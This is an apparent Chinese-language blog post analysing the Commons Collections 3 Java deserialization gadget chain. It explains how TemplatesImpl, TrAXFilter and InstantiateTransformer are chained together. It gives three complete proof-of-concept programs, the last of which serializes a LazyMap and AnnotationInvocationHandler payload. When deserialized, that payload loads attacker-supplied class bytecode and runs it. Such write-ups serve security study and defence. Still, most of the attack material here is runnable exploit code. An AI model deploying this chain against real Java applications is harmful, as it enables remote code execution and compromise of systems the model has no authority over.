CommonsCollections3分析

CommonsCollections3调用链图

TemplatesImpI类分析

进入TemplatesImpl进行分析

分析getTransletInstance

 这里有两个判断条件

如果_name==null 返回null

如果_class==null就调用defineTransletClasses() 下来跟进defineTransletClasses() 

分析defineTransletClasses()

这里如果_bytecodes==null就执行错误处理语句块 

看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值 

这个常量中 可以跟进这个常量看看这个常量中存储了什么值

可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它

 注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件

这里我们可以构造我们初步测试的poc 版本一

 1 //实例化TemplatesImpl
 2 TemplatesImpl templates=new TemplatesImpl();
 3 //获取TemplatesImpl的Class
 4 Class tc=templates.getClass();
 5 Field nameField=tc.getDeclaredField("_name");
 6 nameField.setAccessible(true);
 7 nameField.set(templates,"aaaa");
 8 Field bytecodesField=tc.getDeclaredField("_bytecodes");
 9 bytecodesField.setAccessible(true);
10 //加载恶意类
11 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
12 byte[][] codes={code};
13 bytecodesField.set(templates,codes);
14 
15 Field tfactoryField=tc.getDeclaredField("_tfactory");
16 tfactoryField.setAccessible(true);
17 tfactoryField.set(templates,new TransformerFactoryImpl());
18 #调用
19 templates.newTransformer();
View Code

我们可以复盘一下我们通过TemplatesImpl调用链子

TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

下来我们的目标就是想办法调用newTransformer() 我们可以使用之前cc1的方法

这里的newTransformr可以用transformers进行链式调用newTransformer

Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer",null,null),
        };

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

下来把剩下的cc1 LzayMap本剩下的代码站过来即可

初步测试版本的poc 二

 1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 2 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 3 import org.apache.commons.collections.Transformer;
 4 import org.apache.commons.collections.functors.ChainedTransformer;
 5 import org.apache.commons.collections.functors.ConstantTransformer;
 6 import org.apache.commons.collections.functors.InvokerTransformer;
 7 import org.apache.commons.collections.map.LazyMap;
 8 import java.io.ByteArrayInputStream;
 9 import java.io.ByteArrayOutputStream;
10 import java.io.ObjectInputStream;
11 import java.io.ObjectOutputStream;
12 import java.lang.reflect.*;
13 import java.nio.file.Files;
14 import java.nio.file.Paths;
15 import java.util.HashMap;
16 import java.util.Map;
17 
18 
19 public class cc3aa{
20     public static void main(String[] args)throws Exception {
21 
22         TemplatesImpl templates=new TemplatesImpl();
23         Class tc=templates.getClass();
24         Field nameField=tc.getDeclaredField("_name");
25         nameField.setAccessible(true);
26         nameField.set(templates,"aaaa");
27         Field bytecodesField=tc.getDeclaredField("_bytecodes");
28         bytecodesField.setAccessible(true);
29 
30         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
31         byte[][] codes={code};
32         bytecodesField.set(templates,codes);
33 
34         Field tfactoryField=tc.getDeclaredField("_tfactory");
35         tfactoryField.setAccessible(true);
36         tfactoryField.set(templates,new TransformerFactoryImpl());
37 
38 
39         Transformer[] transformers=new Transformer[]{
40             new ConstantTransformer(templates),
41             new InvokerTransformer("newTransformer",null,null),
42         };
43 
44         ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
45 
46         HashMap<Object,Object> map=new HashMap<Object, Object>();
47         Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer);
48 
49         Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
50         Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
51         annotationInvocationdhdConstructor.setAccessible(true);
52         InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
53 
54 
55         Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
56 
57         Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);
58 
59         ByteArrayOutputStream barr = new ByteArrayOutputStream();
60         ObjectOutputStream oos = new ObjectOutputStream(barr);
61         oos.writeObject(os);
62         oos.close();
63         System.out.println(barr);
64 
65         ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
66         Object o=ois.readObject();
67         System.out.println(o);
68 
69 
70 
71 
72     }
73 }
测试poc版本2代码

这个版本测试poc可以完全成功执行代码 但是问题来了

这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括本次的CommonsCollections3。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。

这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

TrAXFilter类分析

可以看到第61行

因为第一个版本的java序列化 这里调用了newTransformer()方法

这个类是不能被序列化的

cc3的作者着使用InstantiateTransformer

InstantiateTransformer类分析

从第100行开始看可以看到这里判断传进来的是不是Class类型 如果是再102行使用getConstructor()获得指定类构造器 紧接着106行newInstance调用了构造器获得的方法并传入变量值

newInstance 方法对对象进行初始化 调用方法

构造

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers=new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
   };

调用instantiateTransformer.transform()方法并传入TrAXFilter.class 这样再程序进入到InstantiateTransformer中的transform中执行的时候 这样就可以调用TrAXFilter.class的构造方法并将 Templates.class类传入到getConstructor()这样是调用指定的类方法TrAXFilter.class中的指定的类方法 再程序进入到到106行进行了newInstance方法调用 将传进来的templates传给被调构造方法中的变量

最终poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class cc3aa{
    public static void main(String[] args)throws Exception {

        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField=tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        Field tfactoryField=tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());



        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//
        HashMap<Object,Object> map=new HashMap<Object, Object>();
        Map<Object,Object> lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdConstructor.setAccessible(true);
        InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
        Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
        Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(os);
        oos.close();
        System.out.println(barr);

        ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o=ois.readObject();
        System.out.println(o);

    }
}

 

posted @ 2021-12-26 13:32  笑花大王  阅读(115)  评论(0编辑  收藏  举报